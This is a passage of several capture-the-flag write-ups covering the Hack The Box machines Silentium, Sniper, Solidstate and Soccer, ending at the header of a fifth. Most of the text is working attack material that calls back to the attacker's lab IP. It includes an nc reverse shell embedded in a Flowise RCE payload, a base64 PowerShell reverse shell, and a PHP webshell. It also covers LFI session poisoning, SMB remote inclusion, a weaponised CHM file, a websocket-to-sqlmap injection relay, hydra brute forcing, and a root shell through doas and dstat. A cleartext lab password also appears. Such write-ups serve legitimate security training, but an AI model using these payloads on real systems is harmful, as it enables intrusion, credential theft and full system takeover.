ffuf -w users.txt -u http://staging.silentium.htb/api/v1/auth/login -d '{"email":"FUZZ@silentium.htb", "password":"admin"}' -H "Content-type: application/json"

now we found that ben is the correct user we can proceed with but i don’t like to bruteforce the things ;)

let’s check the forgot-password API

Bingo!! we got the creds in the API response itself

i’ve tried to crack the password but didn’t get anything now as we are having some creds, let’s try to find some other API endpoint and check if we can use any of these creds anywhere else

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -u http://staging.silentium.htb/api/v1/account/FUZZ -fs 31

out of all these APIs the reset-password looked interesting to me

let’s use curl and play with these APIs

curl http://staging.silentium.htb/api/v1/account/reset-password -X POST

and there’s another which also attracts me is verify, let’s use that

curl http://staging.silentium.htb/api/v1/account/verify -X POST

from the output above we can say that it requires the tempToken

i’ve took the same request in the burpsuite and tried to provide the tempToken

the same error was returned by the curl

but in burp when i used the same payload from the reset-password

it shows that the invalid temporary token, i’ve specified the token in the body as the same format and it worked!!

as it shows the 201 transaction created, so can we try to reset password now!?

some searching leads me to https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wgpv-6j63-x5ph

which then gives us the idea to how to use the password reset

let’s use the same format for request payload

let’s try to login with newly founded creds

some more research lead me to https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p

we can use the curl command and start the http listener on port 80

let’s get the command execution

{                                                                                                                                                          
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.8 443 >/tmp/f\");return 1;})()})"
    }
  }

start the listener on port 443

rlwrap -r nc -nvlp 443

we can see that it is docker container

let’s check the env variables as it may contain the credentials

let’s take both passwords and create small wordlist and then use the hydra to check if any of these apssword is valid or not

hydra -l ben -P passwords ssh://10.129.1.74

let’s login with it using ssh

ssh ben@10.129.1.74

Exploring the system more deeply i checked for the open ports and running services internally

ss -tunlp

let’s check one by one using curl

it is running some application - Gogs, let’s forward the port locally and access it on our system

ssh -L 3001:127.0.0.1:3001 ben@10.129.1.74

now let’s access it on our system

after searching on google i found, https://github.com/TYehan/CVE-2025-8110-Gogs-RCE-Exploit

as per the exploit first we need to create an account, and login with those creds

now go to setting → Applications → Generate new token

copy the token and use it in below script

python3 exploit.py -u http://localhost:3001 -un 0xh3x -pw 0xh3x -t 4e563653bd2b3783a5b20c4ee6b4f9d935db5050 -lh 10.10.14.8 -lp 443

we got the shell on our listener

Sniper

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Sniper
OS Type: Windows
Difficulty: Medium

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Tue Apr 22 09:28:36 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.151
Nmap scan report for 10.10.10.151
Host is up, received echo-reply ttl 127 (0.29s latency).
Scanned at 2025-04-22 09:28:37 IST for 913s
Not shown: 65530 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Sniper Co.
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-04-22T11:13:11
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 18459/tcp): CLEAN (Timeout)
|   Check 2 (port 47966/tcp): CLEAN (Timeout)
|   Check 3 (port 51336/udp): CLEAN (Timeout)
|   Check 4 (port 18241/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 22 09:43:50 2025 -- 1 IP address (1 host up) scanned in 913.41 seconds

Enumeration

Port 139,445/SMB

let’s check if we can login to smb anonymously also known as null session

No we can’t, let’s check the msrpc using rpcclient

Port 80/HTTP

port 80 is open means we are going to deal with web app, let’s open the website in browser

clicking on User Portal we are redirected to user login/register page

side by side let’s check what technologies are used in website using whatweb

whatweb http://10.10.10.151

i’ll also run gobuser with following lists:

raft-medium-files/directories.txt
quickhits.txt
raft-medium-words.txt with -x option to specify the file extensions such as php,aspx,conf,txt etc

as we don’t have any creds let’s try default creds first like -admin/password, admin/admin, user/user not worked, let’s create an account by clicking on SignUp and we are redirected to below under construction page after registration

clicking on Our services led us to blog page and then click on language page to select page language

it uses the lang GET parameter to include the language file, and then change language based on it

let’s check if we can include the file or not

so it says page not found!, what about trying forward-slash instead of back slash

it included the file to the bottom of the web source. now i tried to open xampp folder but is says not found means the web app is not running Xampp, now we have LFI, we need to think how can we write to any folder so we can get that execute, as login page i thought about PHP session what if we write php code in username and then include the file to see if it executes the file or not first of all,

Let’s find how to get the session cookie (PHPSESSID)from Windows we found https://www.quora.com/Where-is-the-php-session-stored

so the session stored in windows - C:\Windows\temp\sess_<SESSION_ID>

so let’s first try to add simple php script to username

<?php echo hacker ?>

and get it’s session ID from network tab PHPSESSID and access it to see if we can see the output or not

i tried with semicolon registration get successfully, but at login time it shows incorrect username/password maybe some filtering at backend side

let’s register and login with same creds <?php echo 'hacker' ?> as username and password you’ve created during registration process

inspect network tab and grab valule of PHPSESSID, include file from

?lang=/windows/temp/sess_jahqk79icdhure5bkll8r0gd9b

view the source of website and we found it is working

nice now to get proper shell i’ve tried:

echo system(”whoami”)
echo system($_GET[’cmd’]) ?>

but none of them are working, i found valid payload to execute on the website, <?php echo whoami ?>

we have command execution as NT Authority\iusr, in next payload i’ll start python http.server where my nc.exe located download and execute it via

after some trial-error i found that the - is blocked by the server now what!, means we can’t use the certutil commands, curl commands even nc.exe to get reverse shell now what! let’s think about the RFI

let’s try to include files from our machine using smbserver

create a shell.php with following code

<?php
system("whoami");
?>

and try to access the share from ?lang=\\10.10.14.17\test and we got incoming connection so we can include the file from our machine, let’s try \\10.10.14.17\test\shell.php to see if it executes the shell

impacket-smbserver test . -smb2support

YOU SAID IT PHP EXECUTED IT!!

let’s get pretty shell <3, i’ll use revshells.com to generate base64 encoded powershell reverse shell

<?php
system("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA3ACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=");
?>

start listener on port 443 (based on port you’ve specified while creating the shell)

check the reverse shell listener

let’s see what permissions do we have as iusr run whoami /priv

let’s check other users on the system using net user

ok so there’s use named Chris let’s check group membership of the Chris user

net user Chris

Ohh the user is member of Remote Management Users possibly we should find some creds and login using evil-winrm as chris user but let’s first try to exploit SeImpersonatePrivilege using GodPotato

to get SYSTEM shell, first download nc.exe to C:\temp directory

and then execute the god.exe to execute nc.exe to get shell

. .\god.exe -cmd 'cmd /c \temp\nc.exe 10.10.14.17 443 -e cmd'

and Boom! we got SYSTEM Shell directly

Another Way (Intended Way)

while we enumerating the system we found the C:\inetpub\wwwroot\user\db.php which contains the password for chris user

user is member of remote management users group but we can see the port 5985 is open so we can’t connect to this machine via evil-winrm

we’ll use the RunasCs.exe to get shell as chris

download RunasCs zip from here unzip it and upload RunasCs.exe to target machine, run it with username and password of chris user and use -r option to connect to remote, also specify the port and start nc listener on the same port

. .\runas.exe chris 36mEAhz/B8xQ~2VM cmd.exe -r 10.10.14.17:139

we shall received shell on port 139

now moving forward i found the C:\Docs directory that has note.txt file which seems interesting

also we found instructions.chm file in C:\Users\chris\Downloads

searching for chm file on google

so it is a help documentation kind of thing, let’s connect dots here the CEO is asking the chris to upload documentation and chris has instructions.chm file what if we can put the documentation.chm file and can get reverse shell from it! we found this script from github - https://gist.githubusercontent.com/infosecn1nja/aeeda8f9d3b94f6fed727550b81faeda/raw/d846fbcd7d04c3c22ec44030f39c6fb3e0ee6e1a/gen-chm.pyhttps://gist.githubusercontent.com/infosecn1nja/aeeda8f9d3b94f6fed727550b81faeda/raw/d846fbcd7d04c3c22ec44030f39c6fb3e0ee6e1a/gen-chm.py

python2 gen-chm.py -c '\temp\nc.exe 10.10.14.17 4444 -e cmd' -o documentation.chm

however script is not working as expected, searching on google we found this useful article that shows how to generate the chm file to get reverse shell - https://medium.com/r3d-buck3t/weaponize-chm-files-with-powershell-nishang-c98b93f79f1e

download HTML help exe from here → http://web.archive.org/web/20160201063255/http://download.microsoft.com/download/0/A/9/0A939EF6-E31C-430F-A3DF-DFAE7960D564/htmlhelp.exe, install it and run below command to powershell to donwload nishang module from github

wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1 -outfile out-chm.ps1

and then import module using Import-Module .\out-chm.ps1 (Make sure to Set-ExecutionPolicy Bypass) and Windows defender is off

Next, create the payload using the Payload command and specify the path to the HTML Help application (hh.exe) to compile the file.

 out-chm -payload "C:\temp\nc.exe 10.10.14.17 135 -e cmd" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"

this will generate doc.chm file in current working directory

upload the file to C:\Docs folder wait for shell on port 135 as administrator

Solidstate

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Solidstate
Difficulty: Medium
OS type: Linux

Port Scanning - Service & Version Enumeration

# Nmap 7.94SVN scan initiated Sat Apr  5 03:39:39 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN nmap.out 10.10.10.51
Nmap scan report for 10.10.10.51
Host is up (0.35s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp    JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.14 [10.10.14.14])
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3    JAMES pop3d 2.3.2
119/tcp  open  nntp    JAMES nntpd (posting ok)
4555/tcp open  rsip?
| fingerprint-strings: 
|   GenericLines: 
|     **JAMES Remote Administration Tool 2.3.2**
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for 
|_    Login id:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4555-TCP:V=7.94SVN%I=7%D=4/5%Time=67F0DEC8%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\.3\.2\n
SF:Please\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id:\nPass
SF:word:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n");
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr  5 03:46:23 2025 -- 1 IP address (1 host up) scanned in 404.07 seconds

Enumeration

Port 80/HTTP

Port 80 is open on target machine, let’s visit the website in browser

looks like the company’s website, so solid state security is possibly a cyber security company provides services such as Pentesting, red team exercises etc.

let’s use gobuster to find hidden files and directories to check if we can find anything useful

viewing the README.txt, LICENSE.txt we found that it is normal HTML site template, didn’t useful anything here

Nothing from directories as well.

Port 4555/rsip?

this is unknown port, also nmap discovered that JAMES SMTP server is running on port 25,119 and 4555, now on port 4555 we found that it is running JAMES Remote Administration Tool 2.3.2 which looks interesting to me!, let’s give it quick google search to see if there are any known CVEs are available for this service, we found that it is vulnerable to https://www.exploit-db.com/exploits/35513

now let’s connect to JAMES Administration tool via telnet

telnet 10.10.10.51 4555

it requires the username and password, the exploit also reveals that the default credentials for the James Remote Administrator Tool is root:root let’s give it a try!

Bingo!, we logged in!

now as per the exploit we need to first add the exploitable user to the system, run below command to add user to system

adduser ../../../../../../../../etc/bash_completion.d password

nice, now our user has been created, let’s move to step 2, login to SMTP via telnet

telnet 10.10.10.51 25

it’s time to say hello to SMTP.

then run following commands

MAIL FROM: <'hacker@solidstate>
RCPT TO: ../../../../../../../../etc/bash_completion.d
DATA
From: hacker@solidstate
'
echo hello | nc attacker 3333

but we didn’t receive any connection on our netcat litener, further reading exploit we found that it requires some user’s to login to get the exploit executed, we got same thing while running exploit

python2 35513.py 10.10.10.51

Hmm, looks like it’s not the intended way to get into this machine, moving forward let’s login agian to Administration tool to see if we can find any useful information such as reading passwords, listing users, reset passowords

run HELP command for list of commands

ohh!! i can see something here, let’s run listusers first

Note: you’ll not find hacker user in your results, i’ve created this user for some enumeration purposes using adduser command

let’s reset all user’s password using setpassword <user> <password>

now what!, remember we noticed that pop3 is running on port 110, let’s login to all user’s one by one to check if we can get any information from there

#connect to pop3 via telnet
telnet 10.10.10.51 110

for login run following commands:

USER mailadmin
PASS password #password we set using Administration tool
LIST #to list available emails, if found any run below command
RETR 1 #retrive emial 1 (change it to 2,3 and so on..)

we checked all inboxes we founded 1 email in James user’s inbox

some password related talk, great now let’s grab password from mindy’s inbox

HaHaHa 😈 Evil smile, let’s login to SSH using mindy’s creds\

ssh mindy@10.10.10.51

login using ssh and we found that our previously created mails are now opened and we got connection on our kali machine, so the RCE was successful

as we read in email we have a limited shell, let’s check which shell assigned to mindy

/bin/rbash, hmm, after searching on google we found that it is restricted shell spending few mins on google and i found this article about how to bypass restricted shell ->https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/

there are many methods described in this article but we’ll use the SSH method as we have ssh access

we can specify the login shell in ssh using -t option

ssh mindy@10.10.10.51 -t bash

let’s use the another method which is the intended way for this machine as we’ve found RCE vulnerability in JAMES’s server and we now have correct credentials so let’s get RCE as proper bash shell

Use Exploit - Automate the process

https://www.exploit-db.com/exploits/35513 - use this exploit and edit the payload variable to add the reverse shell command

payload='/bin/nc -e /bin/bash 10.10.14.14 4443'

run the exploit

now wait for 1-2 min, start reverse shell listener on kali using rlwrap -r nc -nvlp 4443 and login to ssh as mindy

manual method already mentioned above

upgrade the shell to get tty

python3 -c 'import pty;pty.spawn("/bin/bash");'

PrivEsc

→ let’s start our enumeration to get shiny #

let’s start from sudo-l permissions

we don’t have sudo permissions

anything interesting in user’s home directory?

we didn’t find any SUID, SGID that we can use for the exploitation

let’s check running processes by pspy32 tool, start python websever on kali using python3 -m http.server 80 and then use wget to download pspy32

grant execute permissions using chmod +x pspy32

run pspy32 and wait for 1-2 minutes to check if any cronjobs running

great we found that the /opt/tmp.py is running as root user, let’s check it’s permissions

Woow! we can write to this file, let’s add the command to execute /bin/nc -e /bin/bash 10.10.14.14 4444

start nc listener on port 4444 and wait for the script to execute as root

say Hello to root!

Soccer

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Soccer
Difficulty: Easy
OS Type: Linux

Port Scanning - Service & Version Enumeration

# Nmap 7.95 scan initiated Thu Jun 19 19:29:46 2025 as: /usr/lib/nmap/nmap -sVC --open -p- -oN initial/nmap.out -vv 10.10.11.194
Nmap scan report for 10.10.11.194
Host is up, received echo-reply ttl 63 (0.22s latency).
Scanned at 2025-06-19 19:29:53 IST for 99s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
|   256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp   open  http            syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Date: Thu, 19 Jun 2025 14:01:12 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Date: Thu, 19 Jun 2025 14:01:13 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.95%I=7%D=6/19%Time=68541823%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n")%r(GetRequest,168,"HTTP/1\.1\x20404\x20Not\x20Found\r\
SF:nContent-Security-Policy:\x20default-src\x20'none'\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nCo
SF:ntent-Length:\x20139\r\nDate:\x20Thu,\x2019\x20Jun\x202025\x2014:01:12\
SF:x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang
SF:=\"en\">\n<head>\n<meta\x20charset=\"utf-8\">\n<title>Error</title>\n</
SF:head>\n<body>\n<pre>Cannot\x20GET\x20/</pre>\n</body>\n</html>\n")%r(HT
SF:TPOptions,16C,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Pol
SF:icy:\x20default-src\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20143\
SF:r\nDate:\x20Thu,\x2019\x20Jun\x202025\x2014:01:13\x20GMT\r\nConnection:
SF:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<me
SF:ta\x20charset=\"utf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>C
SF:annot\x20OPTIONS\x20/</pre>\n</body>\n</html>\n")%r(RTSPRequest,16C,"HT
SF:TP/1\.1\x20404\x20Not\x20Found\r\nContent-Security-Policy:\x20default-s
SF:rc\x20'none'\r\nX-Content-Type-Options:\x20nosniff\r\nContent-Type:\x20
SF:text/html;\x20charset=utf-8\r\nContent-Length:\x20143\r\nDate:\x20Thu,\
SF:x2019\x20Jun\x202025\x2014:01:13\x20GMT\r\nConnection:\x20close\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n<meta\x20charset=\"u
SF:tf-8\">\n<title>Error</title>\n</head>\n<body>\n<pre>Cannot\x20OPTIONS\
SF:x20/</pre>\n</body>\n</html>\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nConnection:\x20close\r\n\r\n")%r(DNSVersionBindReqTCP,2F
SF:,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%
SF:r(DNSStatusRequestTCP,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnect
SF:ion:\x20close\r\n\r\n")%r(Help,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r
SF:\nConnection:\x20close\r\n\r\n")%r(SSLSessionReq,2F,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 19 19:31:32 2025 -- 1 IP address (1 host up) scanned in 106.58 seconds

Enumeration

Port 80/HTTP

let’s open the URL in web browser

it redirects to soccer.htb looks like it’s configured to accessible only via hostname

echo "10.10.11.194 soccer.htb" |sudo tee -a /etc/hosts

and then refresh the page

let’s run gobuster to search for any hidden files and directories

gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt

nice we found interesting directory, /tiny let’s open it

it shows the tiny file manager application, i tried admin:admin but not worked, then searched for the default credentials for the application i found https://github.com/projectdiscovery/nuclei-templates/blob/main/http/default-logins/tiny-file-manager-default-login.yaml which says the default credentials is - admin:admin@123

Bingo, we are in, always check the default credentials for applications, nice we got the access to tiny file manager admin panel now we can upload the files, let’s first try to upload php file with basic webshell

0xh3x.php

<?php system($_GET['cmd']); ?>

there’s issue while uploading file to the /var/www/htmll

we found another tiny folder, let’s check if we can upload the files there

we found uploads folder, let’s upload here

now we can successfully upload the our webshell - 0xh3x.php

to get command execution let’s try to access the file at http://soccer.htb/tiny/uploads/0xh3x.php

we specify the command to cmd parameter

nice we got command exection over the machine now let’s get the reverse shell. i’ll be using busybox nc reverse shell command

busybox nc 10.10.14.12 443 -e /bin/bash

further enumeration reveals that there’s mysql database running on the machine, but unfortunately we don’t have any credentials, moving forward we found an user - player on the system

While enumerating internal systems, I found another subdomain - soc-player.soccer.htb

reading the nginx configuration we found that the web server running internally on port 3000

let’s add soc-player.soccer.htb to /etc/hosts file and open it

as we can see the login and signup buttons now let’s singup and see what we can do with this app

and then login, after login we redirected to /check page

now if we enter the ticket id it check if ticket is available or not

but when submitting the request i’m not able to see any request that send to server, let’s use burpusite to check what’s going on behind the scenes

giIf we can see it sending the websockets instead of HTTP requests, to check if it is vulnerable to SQL injection or not, I searched for websocket SQLi. I found this amazing article → https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html that gives the python script which creates middleware between websocket and sqlmap, in short creates website

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091/ws"

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()

print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
	middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
	pass

run above script with python - python3 server.py

and then run sqlmap on http://localhost:8081/?id=1

let’s enumerate databases using - sqlmap -u '[http://localhost:8081/?id=1](http://localhost:8081/?id=1)' --dbs

let’s get the list of tables in the Database - sqlmap -u '[http://localhost:8081/?id=1](http://localhost:8081/?id=1)' -D soccer_db --tables

nice we got the accounts table, we can dump data from it using --dump

sqlmap -u 'http://localhost:8081/?id=1' -D soccer_db -T accounts --dump

let’s ssh as player user

ssh player@10.10.11.194

i then ran find command to search to find any interesting SUID binaries

find / -type  f -perm -4000 2>/dev/null

as i found the interesting SUID executable, doas searching for this utility on web i found that it works similar as sudo

we need to find the doas.conf file which works similar as sudoers file

find / -type f -name "doas.conf" 2>/dev/null

let’s read the conf file for the doas.conf

cat /usr/local/etc/doas.conf

uppon searching for the exploit for dstat i found https://gtfobins.github.io/gtfobins/dstat/

so we’ll create python file which contains the python code to spawn shell save the file at /usr/local/share/dstat/dstat_0xh3x.py

and then run it as root using doas, first will create malicious python file

echo 'import os; os.execv("/bin/bash", ["bash"])' >/usr/local/share/dstat/dstat_0xh3x.py

now run doas command to execute the dstat

doas -u root /usr/bin/dstat --0xh3x

Sunday

Kamlesh Kathiriya — Fri, 12 Jun 2026 00:00:00 GMT

Machine Name: Sunday OS type: Linux Difficulty: Easy

Port Scanning - Service & Version Enumeration

